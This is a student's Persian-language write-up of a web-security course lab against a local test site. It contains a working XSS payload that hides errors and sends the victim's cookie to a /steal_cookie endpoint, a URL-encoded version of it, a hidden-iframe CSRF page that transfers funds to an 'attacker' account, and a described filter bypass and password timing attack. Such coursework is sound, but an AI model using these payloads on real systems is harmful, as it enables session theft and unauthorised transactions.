پوریا غفوری ۴۰۱۱۰۶۲۷۷

۱/۱ اکسپلویت آلفا: دزدیدن کوکی

با توجه به کد منبع این سایت، اگر نام کاربری‌ای که آن را جستجو می‌کنیم وجود نداشته باشد، آن نام‌کاربری در صفحه نشان داده می‌شود پس می‌توانیم به جای نام‌کاربری یک اسکریپت ورودی بدهیم تا کد برای به‌دست آوردن نام‌کاربری آن را اجرا کند و نه تنها نام‌کاربری را به‌دست نیاورد بلکه کوکی او هم دزدیده شود! برای این کار کد زیر را نوشتم: (کد آن در فایل a.js موجود است)

```
<script>
document.querySelectorAll('.error').forEach(e => e.style.display = 'none');
var xhr = new XMLHttpRequest();
xhr.open('GET', "http://localhost:3000/steal_cookie?cookie=" + document.cookie.split('=')[1]);
xhr.send();
</script>
```

خط اول این کد مطابق خواسته سوال تمامی پیغام‌هایی که از نوع Error هستند را محو می‌کند که دیگر نمایش داده نشوند و همه چیز عادی به نظر برسد. در ادامه نیز کوکی را گرفته (منطقا فقط مقدار کوکی را می‌خواهیم که مقداری است که بعد از مساوی می‌آید بر اساس ساختار کوکی‌ها) و آن را به url و endpoint گفته شده ارسال می‌کنیم.

برای این که بتوانیم این کار را انجام دهیم این کد را به فرمت url در می‌آوریم (با کمکی سایتی که در منابع ذکر شده است):

```
http://localhost:3000/profile?username=%3Cscript%3E%0Adocument.querySelectorAll(%27.error%27).forEach(e%20%3D%3E%20e.style.display%20%3D%20%27none%27)%3B%0Avar%20xhr%20%3D%20new%20XMLHttpRequest()%3B%0Axhr.open(%27GET%27%2C%20%22http%3A%2F%2Flocalhost%3A3000%2Fsteal_cookie%3Fcookie%3D%22%20%2B%20document.cookie.split(%27%3D%27)[1])%3B%0Axhr.send()%3B%0A%3C%2Fscript%3E
```

البته این url نیز در فایل a.txt موجود است و در صفحه پروفایل با وارد کردن این url کوکی کاربر دزدیده شده و به آدرس خواسته شده ارسال می‌شود و می‌توانیم در لاگ‌ها این کوکی را مشاهده کنیم.

۲.۱ اکسپلویت براوو: جعل درخواست راه دور

```html
<!DOCTYPE html>
<html>
<body onload="document.transfer_form.submit()">
    <form target="transfer_frame" name="transfer_form" action="http://localhost:3000/post_transfer" method="post">
        <input style="display:none;"  type="text" name="destination_username" value="attacker">
        <input style="display:none;"  type="text" name="quantity" value="10">
    </form>
    <iframe style="display:none;" name="transfer_frame" onload="iframe_loaded()"></iframe>

    <script>
        var load_count = 0;
        function iframe_loaded() {
            load_count++;
            if (load_count == 2) {
                window.location.href="https://sharif.edu/~kharrazi/courses/40441-011/";
            }
        }
    </script>
</body>
</html>
```

برای اینکه بتوانیم این کار را انجام دهیم لازم است که در صفحه وب خود یک iframe باز کنیم تا url نمایش داده نشود و یک form ایجاد می‌کنیم و ورودی‌های صفحه transfer را با مقادیری که می‌خواهیم در آن قرار می‌دهیم و در نهایت آن فرم را submit می‌کنیم و آدرس آن را urlای قرار می‌دهیم که فرم transfer را ارسال می‌کند و به این صورت اگر کاربر login باشد، این transfer توسط اکانت او انجام می‌شود. نکته قابل توجه این است که این صفحات نباید به کاربر نمایش داده شود پس display محتویات و خود iframe را None قرار می‌دهیم تا نمایش داده نشوند. در ادامه نیز باید به صفحه درس برویم تا همه چیز عادی به نظر برسد و برای این کار در دفعه اول که صفحه لود می‌شود مقدار load_count برابر یک می‌شود و اتفاقی نمی‌افتد اما وقتی فرم submit می‌شود، یک بار دیگر صفحه لود شده و در نتیجه مقدار load_count برابر ۲ شده و ما به صفحه درس می‌رویم و به این صورت تمامی خواسته‌های سوال برآورده می‌شود.

۳.۱ اکسپلویت گاما: حمله زمانی

در ابتدا با توجه به خطوط زیر از فایل router.js می‌توان متوجه شد که اگر از تگ‌های زیر استفاده کنیم، آن‌ها را حذف می‌کند.

```
let oldQ;
while (q !== oldQ) {
  oldQ = q;
  q = q.replace(/script|SCRIPT|img|IMG/g, '');
}
```

پس برای اینکه کدی که در اختیار ما قرار داده شده بتواند اجرا شود باید نام‌های script و img را عوض کنیم و صرفا حروف اول آن‌ها را بزرگ کرده تا با موارد بالا متفاوت باشد و جایگزین نشود و به درستی اجرا شود.

در ادامه نیز نکته خاصی وجود نداشت و صرفا کد را نوشتم تا کار خواسته شده را انجام دهد و رمز عبوری که بیشترین زمان را می‌گرفت را خروجی دهیم و به عنوان کاربر userx وارد شویم. البته کدی که در اختیار ما قرار داشت کمی در iterate کردن بر روی آرایه رمزهای عبور مشکل داشت (از ۰ شروع نمی‌شد و تا یک index بیشتر نیز می‌رفت) و من این موارد را خودم تغییر دادم تا به درستی همه رمزهای عبور بررسی شود و یک index بیشتر نیز به اشتباه چک نشود. در کل اسکریپت نوشته شده واضح است و صرفا هر دفعه بررسی رمزهای عبور متفاوتی را بررسی می‌کردیم و زمان بیشترین را ذخیره می‌کردیم و در نهایت آن رمزی که بیشترین زمان طول کشیده بود را برگردانده و آن را برای login کردن به عنوان کاربر userx استفاده کردیم. در نهایت نیز با یک Refresh در مرورگر می‌بینیم که به عنوان کاربر userx وارد شده‌ایم!